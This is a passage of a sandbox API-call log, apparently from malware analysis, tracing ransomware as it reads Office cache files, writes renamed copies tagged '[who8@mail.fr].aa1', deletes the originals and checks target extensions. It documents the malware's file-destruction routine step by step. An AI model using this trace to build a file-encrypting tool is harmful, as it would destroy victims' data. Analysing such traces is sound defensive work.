dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0200.845] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0200.845] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0200.845] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0200.845] GetLastError () returned 0x0 [0200.846] ReadFile (in: hFile=0x1a4, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x5ac, lpOverlapped=0x0) returned 1 [0200.847] WriteFile (in: hFile=0x1a0, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0200.848] ReadFile (in: hFile=0x1a4, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0200.848] WriteFile (in: hFile=0x1a0, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0200.848] SetEndOfFile (hFile=0x1a0) returned 1 [0200.848] CloseHandle (hObject=0x1a0) returned 1 [0200.857] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0200.857] SetEndOfFile (hFile=0x1a4) returned 1 [0200.858] CloseHandle (hObject=0x1a4) returned 1 [0200.858] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x2020) returned 1 [0200.858] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0200.858] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0200.858] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0200.858] lstrlenW (lpString=".doc") returned 4 [0200.858] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0200.858] lstrlenW (lpString=".docx") returned 5 [0200.858] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0200.858] lstrlenW (lpString=".pdf") returned 4 [0200.858] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0200.859] lstrlenW (lpString=".xls") returned 4 [0200.859] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0200.859] lstrlenW (lpString=".xlsx") returned 5 [0200.859] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0200.859] lstrlenW (lpString=".ppt") returned 4 [0200.859] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0200.859] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0200.859] lstrlenW (lpString=".zip") returned 4 [0200.859] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0200.859] lstrlenW (lpString=".rar") returned 4 [0200.859] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0200.859] lstrlenW (lpString=".bz2") returned 4 [0200.859] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0200.859] lstrlenW (lpString=".7z") returned 3 [0200.859] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0200.859] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0200.859] lstrlenW (lpString=".dbf") returned 4 [0200.859] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0200.859] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0200.859] lstrlenW (lpString=".1cd") returned 4 [0200.859] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0200.859] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0200.859] lstrlenW (lpString=".jpg") returned 4 [0200.859] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0200.859] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0200.859] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0200.859] lstrlenW (lpString=".doc") returned 4 [0200.859] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0200.860] lstrlenW (lpString=".docx") returned 5 [0200.860] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0200.860] lstrlenW (lpString=".pdf") returned 4 [0200.860] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0200.860] lstrlenW (lpString=".xls") returned 4 [0200.860] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0200.860] lstrlenW (lpString=".xlsx") returned 5 [0200.860] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0200.860] lstrlenW (lpString=".ppt") returned 4 [0200.860] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0200.860] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0200.860] lstrlenW (lpString=".zip") returned 4 [0200.860] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0200.860] lstrlenW (lpString=".rar") returned 4 [0200.860] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0200.860] lstrlenW (lpString=".bz2") returned 4 [0200.860] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0200.860] lstrlenW (lpString=".7z") returned 3 [0200.860] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0200.860] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0200.860] lstrlenW (lpString=".dbf") returned 4 [0200.860] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0200.860] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0200.860] lstrlenW (lpString=".1cd") returned 4 [0200.860] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0200.860] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0200.860] lstrlenW (lpString=".jpg") returned 4 [0200.860] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0200.861] lstrcmpiW (lpString1=".xml", lpString2=".aa1") returned 1 [0200.861] lstrlenW (lpString="branding.xml") returned 12 [0200.861] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0200.862] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=596341) returned 1 [0200.862] CloseHandle (hObject=0x1a4) returned 1 [0200.862] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml")) returned 0x2020 [0200.862] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0200.862] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0200.862] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0200.862] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0200.862] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0200.862] GetLastError () returned 0x0 [0200.863] ReadFile (in: hFile=0x1a4, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x91975, lpOverlapped=0x0) returned 1 [0201.014] WriteFile (in: hFile=0x1a0, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x91980, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0x91980, lpOverlapped=0x0) returned 1 [0201.025] ReadFile (in: hFile=0x1a4, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0201.025] WriteFile (in: hFile=0x1a0, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0201.025] SetEndOfFile (hFile=0x1a0) returned 1 [0201.025] CloseHandle (hObject=0x1a0) returned 1 [0201.031] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0201.031] SetEndOfFile (hFile=0x1a4) returned 1 [0201.047] CloseHandle (hObject=0x1a4) returned 1 [0201.048] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x2020) returned 1 [0201.048] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml")) returned 1 [0201.048] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0201.048] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0201.048] lstrlenW (lpString=".doc") returned 4 [0201.048] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0201.048] lstrlenW (lpString=".docx") returned 5 [0201.048] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0201.048] lstrlenW (lpString=".pdf") returned 4 [0201.048] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0201.049] lstrlenW (lpString=".xls") returned 4 [0201.049] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0201.049] lstrlenW (lpString=".xlsx") returned 5 [0201.049] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0201.049] lstrlenW (lpString=".ppt") returned 4 [0201.049] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0201.049] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0201.049] lstrlenW (lpString=".zip") returned 4 [0201.049] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0201.049] lstrlenW (lpString=".rar") returned 4 [0201.049] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0201.049] lstrlenW (lpString=".bz2") returned 4 [0201.049] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0201.049] lstrlenW (lpString=".7z") returned 3 [0201.049] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0201.049] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0201.049] lstrlenW (lpString=".dbf") returned 4 [0201.049] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0201.049] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0201.049] lstrlenW (lpString=".1cd") returned 4 [0201.049] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0201.049] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0201.050] lstrlenW (lpString=".jpg") returned 4 [0201.050] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0201.050] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0201.050] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0201.050] lstrlenW (lpString=".doc") returned 4 [0201.050] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0201.050] lstrlenW (lpString=".docx") returned 5 [0201.050] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0201.050] lstrlenW (lpString=".pdf") returned 4 [0201.050] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0201.050] lstrlenW (lpString=".xls") returned 4 [0201.050] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0201.050] lstrlenW (lpString=".xlsx") returned 5 [0201.050] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0201.050] lstrlenW (lpString=".ppt") returned 4 [0201.050] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0201.050] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0201.050] lstrlenW (lpString=".zip") returned 4 [0201.050] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0201.050] lstrlenW (lpString=".rar") returned 4 [0201.050] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0201.050] lstrlenW (lpString=".bz2") returned 4 [0201.050] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0201.050] lstrlenW (lpString=".7z") returned 3 [0201.051] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0201.051] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0201.051] lstrlenW (lpString=".dbf") returned 4 [0201.051] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0201.051] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0201.051] lstrlenW (lpString=".1cd") returned 4 [0201.051] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0201.051] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0201.051] lstrlenW (lpString=".jpg") returned 4 [0201.051] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0201.051] lstrcmpiW (lpString1=".xml", lpString2=".aa1") returned 1 [0201.051] lstrlenW (lpString="AccessMUI.xml") returned 13 [0201.051] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0201.053] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=1349) returned 1 [0201.053] CloseHandle (hObject=0x1a4) returned 1 [0201.053] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml")) returned 0x2020 [0201.054] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0201.054] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0201.054] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0201.054] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0201.054] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0201.054] GetLastError () returned 0x0 [0201.054] ReadFile (in: hFile=0x1a4, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x545, lpOverlapped=0x0) returned 1 [0201.056] WriteFile (in: hFile=0x1a8, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0x550, lpOverlapped=0x0) returned 1 [0201.057] ReadFile (in: hFile=0x1a4, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0201.057] WriteFile (in: hFile=0x1a8, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xee, lpOverlapped=0x0) returned 1 [0201.057] SetEndOfFile (hFile=0x1a8) returned 1 [0201.058] CloseHandle (hObject=0x1a8) returned 1 [0201.059] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0201.059] SetEndOfFile (hFile=0x1a4) returned 1 [0201.060] CloseHandle (hObject=0x1a4) returned 1 [0201.060] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x2020) returned 1 [0201.060] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml")) returned 1 [0201.061] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0201.061] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0201.061] lstrlenW (lpString=".doc") returned 4 [0201.061] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0201.061] lstrlenW (lpString=".docx") returned 5 [0201.061] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0201.061] lstrlenW (lpString=".pdf") returned 4 [0201.061] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0201.061] lstrlenW (lpString=".xls") returned 4 [0201.061] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0201.061] lstrlenW (lpString=".xlsx") returned 5 [0201.061] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0201.061] lstrlenW (lpString=".ppt") returned 4 [0201.061] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0201.061] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0201.062] lstrlenW (lpString=".zip") returned 4 [0201.062] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0201.062] lstrlenW (lpString=".rar") returned 4 [0201.062] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0201.062] lstrlenW (lpString=".bz2") returned 4 [0201.062] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0201.062] lstrlenW (lpString=".7z") returned 3 [0201.062] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0201.062] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0201.062] lstrlenW (lpString=".dbf") returned 4 [0201.062] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0201.062] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0201.062] lstrlenW (lpString=".1cd") returned 4 [0201.062] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0201.062] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0201.062] lstrlenW (lpString=".jpg") returned 4 [0201.062] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0201.062] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0201.062] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0201.062] lstrlenW (lpString=".doc") returned 4 [0201.063] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0201.063] lstrlenW (lpString=".docx") returned 5 [0201.063] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0201.063] lstrlenW (lpString=".pdf") returned 4 [0201.063] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0201.063] lstrlenW (lpString=".xls") returned 4 [0201.063] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0201.063] lstrlenW (lpString=".xlsx") returned 5 [0201.063] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0201.063] lstrlenW (lpString=".ppt") returned 4 [0201.063] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0201.063] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0201.063] lstrlenW (lpString=".zip") returned 4 [0201.063] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0201.063] lstrlenW (lpString=".rar") returned 4 [0201.063] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0201.063] lstrlenW (lpString=".bz2") returned 4 [0201.063] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0201.063] lstrlenW (lpString=".7z") returned 3 [0201.063] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0201.063] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0201.064] lstrlenW (lpString=".dbf") returned 4 [0201.064] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0201.064] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0201.064] lstrlenW (lpString=".1cd") returned 4 [0201.064] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0201.064] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0201.064] lstrlenW (lpString=".jpg") returned 4 [0201.064] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0201.064] lstrcmpiW (lpString1=".xml", lpString2=".aa1") returned 1 [0201.064] lstrlenW (lpString="branding.xml") returned 12 [0201.064] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0201.065] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=596341) returned 1 [0201.065] CloseHandle (hObject=0x1a4) returned 1 [0201.065] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml")) returned 0x2020 [0201.065] GetFileAttributesW (lpFileName="C:\\MSOCache\\All 